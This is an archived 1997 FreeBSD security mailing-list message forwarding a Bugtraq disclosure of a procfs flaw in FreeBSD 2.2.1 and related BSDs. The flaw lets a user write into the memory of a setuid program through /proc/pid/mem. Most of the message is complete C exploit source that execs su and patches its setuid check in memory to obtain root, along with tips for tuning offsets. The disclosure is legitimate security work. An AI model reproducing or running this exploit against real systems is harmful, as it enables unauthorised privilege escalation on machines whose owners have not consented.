Date: Sun, 10 Aug 1997 22:51:17 +1000 (EST) From: Darren Reed <avalon@coombs.anu.edu.au> To: security@freebsd.org Subject: procfs hole (fwd) Message-ID: <199708101305.GAA20027@hub.freebsd.org>
next in thread | raw e-mail | index | archive | help
In some mail from Brian Mitchell, sie said: > From owner-bugtraq@NETSPACE.ORG Sun Aug 10 22:41:25 EST 1997 > Approved-By: aleph1@UNDERGROUND.ORG > Mime-Version: 1.0 > Content-Type: TEXT/PLAIN; charset=US-ASCII > Message-Id: <Pine.NEB.3.96.970810052824.3287A-100000@apocalypse.saturn.net> > Date: Sun, 10 Aug 1997 05:37:40 -0400 > Reply-To: Brian Mitchell <brian@FIREHOUSE.NET> > Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG> > From: Brian Mitchell <brian@FIREHOUSE.NET> > Subject: procfs hole > X-Cc: freebsd-security@freebsd.org > To: BUGTRAQ@NETSPACE.ORG > > There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, > I have not tested 3.x but I believe it to be vulnerable as well) along > with OpenBSD (not tested by me, but by someone else -- believe it was > 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd > does). > > The problem is all proc/#/mem access is controlled by the permissions on > the file. This means you can fork() open the childs mem device and then > have the child execute a setuid executable. Once this is done, you can > modify the setuid executables memory -- even segments that are supposed to > be nonwritable can be modified. Enclosed is a simple exploit tested under > FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory > for a specific signature. Oh, you need to change your shell to a borneish > shell too, since csh/tcsh will not work when euid != ruid (unless passed > a -b script argument). > > BSDI is also believed to be vulnerable. Unfortunately, not only is procfs > not mounted, it is not even in the GENERIC kernel. > > #include <stdio.h> > #include <stdlib.h> > #include <unistd.h> > #include <fcntl.h> > #include <string.h> > > u_char search_code[13] = { > 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */ > 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */ > > /* just do a xor %eax, %eax and then a ret */ > u_char new_code[] = { > 0x31, 0xc0, 0xc3}; > > main(int argc, char **argv) > { > int pid; > int fd; > char buff[40]; > char *user; > > /* might need to tweak these */ > u_int offset=0x8003000; > u_int offset_end = 0x8099000; > > if(argc < 2) > { > fprintf(stderr, "%s user\n", argv[0]); > exit(1); > } > printf("Demonstration of 4.4BSD procfs hole\n"); > printf("Brian Mitchell <brian@firehouse.net>\n\n"); > printf("after you see \"setuid changed\", enter the pw for the user\n"); > printf("\aBe warned, searching for the setuid() function takes a long time!\n"); > user=argv[1]; > pid = fork(); > switch(pid) > { > case -1: > perror("fork"); > exit(1); > case 0: > /* give parent time to open /proc/pid/mem */ > sleep(3); > execl("/usr/bin/su", "su", user, NULL); > exit(0); > default: > sprintf(buff, "/proc/%d/mem", pid); > fd = open(buff, O_RDWR); > if(fd < 0) > { > perror("open procmem"); > wait(NULL); > exit(1); > } > /* wait for child to execute suid program */ > sleep(6); > /* stop the child */ > kill(pid, 17); > printf("searching - please be patient...\n"); > /* search for the setuid code */ > while(offset != offset_end) > { > lseek(fd, offset, SEEK_SET); > read(fd, buff, 13); > if(!bcmp(buff, search_code, 13)) > { > lseek(fd, offset, SEEK_SET); > write(fd, new_code, 3); > printf("setuid changed (0x%x)\n", offset); > /* sigcont child */ > kill(pid, 19); > wait(NULL); > exit(0); > } > offset++; > } > printf("setuid not found!!\n"); > kill(pid, 9); > wait(NULL); > exit(1); > } > } > > > Brian Mitchell brian@firehouse.net > "BSD code sucks. Of course, everything else sucks far more." > - Theo de Raadt (OpenBSD President) >
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199708101305.GAA20027>